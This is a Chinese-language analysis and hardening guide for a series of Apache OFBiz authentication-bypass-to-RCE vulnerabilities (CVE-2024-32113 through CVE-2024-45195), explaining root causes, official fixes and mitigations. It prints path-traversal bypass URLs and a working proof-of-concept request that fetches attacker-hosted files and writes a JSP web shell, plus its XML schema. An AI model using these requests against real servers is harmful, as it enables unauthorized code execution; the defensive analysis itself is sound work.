(CVE-2024-45195)Apache OFbiz 一次又一次从未授权到RCE的分析
字数 1503 2025-08-22 22:47:30
Apache OFbiz 未授权到RCE漏洞分析及防护指南
漏洞概述
Apache OFBiz 是一个用于构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类应用系统。近期发现了一系列安全漏洞,包括:
- CVE-2024-32113
- CVE-2024-36104
- CVE-2024-38856
- CVE-2024-45195
这些漏洞都涉及未授权访问导致远程代码执行(RCE)的风险。
漏洞演变历史
CVE-2024-32113
漏洞本质:路径穿越导致的未授权访问
攻击方式:
攻击者可以通过路径穿越方式未授权访问后台的ProgramExport接口执行任意代码,例如:
https://127.0.0.1:8443/webtools/control/main/../ProgramExport
https://127.0.0.1:8443/webtools/control/main/;/ProgramExport
https://127.0.0.1:8443/webtools/control/main/%2e/%2e/ProgramExport
修复方式:
官方对路径进行了规范化处理
CVE-2024-36104
漏洞本质:路径规范化后的绕过
修复方式:
官方增加了对路径的字符过滤
CVE-2024-38856
漏洞本质:鉴权逻辑缺陷
攻击方式:
发现不需要复杂的路径穿越技巧,直接拼接即可绕过鉴权:
/main/ProgramExport
修复方式:
在脚本执行的地方直接添加了鉴权
CVE-2024-45195
漏洞本质:鉴权逻辑的根本缺陷未被修复
攻击方式:
利用viewdatafile接口将恶意csv文件内容写入到任意文件实现RCE
POC示例:
POST /webtools/control/main/viewdatafile HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
DATAFILE_LOCATION=http://127.0.0.1:8000/pwn.csv
&DATAFILE_SAVE=./applications/accounting/webapp/accounting/shell.jsp
&DATAFILE_IS_URL=true
&DEFINITION_LOCATION=http://127.0.0.1:8000/rce.xml
&DEFINITION_IS_URL=true
&DEFINITION_NAME=rce
辅助文件:
- rceschema.xml:
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>
- pwn.csv (包含恶意JSP代码)
漏洞原理深度分析
调用栈分析
漏洞触发的核心调用栈如下:
ControlFilter > ControlServlet > RequestHandler
run:36, ProgramExport
runScriptAtLocation:209, GroovyUtil (org.apache.ofbiz.base.util)
executeScript:342, ScriptUtil (org.apache.ofbiz.base.util)
executeScript:324, ScriptUtil (org.apache.ofbiz.base.util)
runAction:634, AbstractModelAction$Script (org.apache.ofbiz.widget.model)
runSubActions:143, AbstractModelAction (org.apache.ofbiz.widget.model)
renderWidgetString:278, ModelScreenWidget$Section (org.apache.ofbiz.widget.model)
renderScreenString:164, ModelScreen (org.apache.ofbiz.widget.model)
render:140, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:102, ScreenRenderer (org.apache.ofbiz.widget.renderer)
render:113, MacroScreenViewHandler (org.apache.ofbiz.widget.renderer.macro)
renderView:1066, RequestHandler (org.apache.ofbiz.webapp.control)
doRequest:741, RequestHandler (org.apache.ofbiz.webapp.control)
doGet:212, ControlServlet (org.apache.ofbiz.webapp.control)
doPost:85, ControlServlet (org.apache.ofbiz.webapp.control)
doFilter:44, SameSiteFilter (org.apache.ofbiz.webapp.control)
doFilter:191, ContextFilter (org.apache.ofbiz.webapp.control)
doFilter:63, CacheFilter (org.apache.ofbiz.base.util)
doFilter:180, ControlFilter (org.apache.ofbiz.webapp.control)
关键漏洞点
-
RequestHandler处理流程:
- 加载配置信息,由ControllerConfig()解析对应配置文件
- 配置文件中记录了是否需要鉴权等信息
- ProgramExport配置中security标签的auth为true,表示需要登录
-
路径处理缺陷:
- 请求路径被拆分为两个变量:
requestUri:mainoverrideViewUri:ProgramExport
- 鉴权时检查的是
requestUri(main),而实际渲染的是overrideViewUri(ProgramExport) - 导致前后鉴权逻辑不一致,绕过ProgramExport的鉴权
- 请求路径被拆分为两个变量:
-
渲染阶段:
- 渲染阶段选取的路径变为
overrideViewUri - 直接跳过了ProgramExport的鉴权进行渲染
- 最终执行groovy脚本
- 渲染阶段选取的路径变为
修复方案分析
最终修复措施
-
配置文件改进:
- 在一系列配置文件中加入了auth配置
- 请求映射参数"auth"和"https"的默认值设置为"true"
-
代码层面修复:
- 在RequestHandler的renderView中也加入了鉴权
- 确保无论渲染哪个路径都会进行鉴权
-
安全策略:
- 系统不应允许未经授权访问渲染的视图
- 通过防止未经授权的访问来增强安全性
防护建议
-
立即升级:
- 升级到Apache OFBiz 18.12.16或更高版本
-
配置检查:
- 检查所有接口的auth配置是否设置为true
- 验证https配置是否启用
-
网络防护:
- 限制对/webtools/control路径的访问
- 实施网络层访问控制
-
监控措施:
- 监控对ProgramExport和viewdatafile等接口的访问
- 设置异常访问告警
-
代码审计:
- 检查自定义代码中是否存在类似的鉴权逻辑缺陷
- 验证所有敏感操作是否都有适当的权限检查
总结
这一系列漏洞揭示了Apache OFBiz在鉴权设计上的根本缺陷:
- 路径处理与鉴权逻辑分离
- 渲染阶段缺乏二次验证
- 默认配置不够安全
最终修复方案通过统一鉴权点和强化默认配置解决了这些问题,建议所有用户立即升级并验证配置。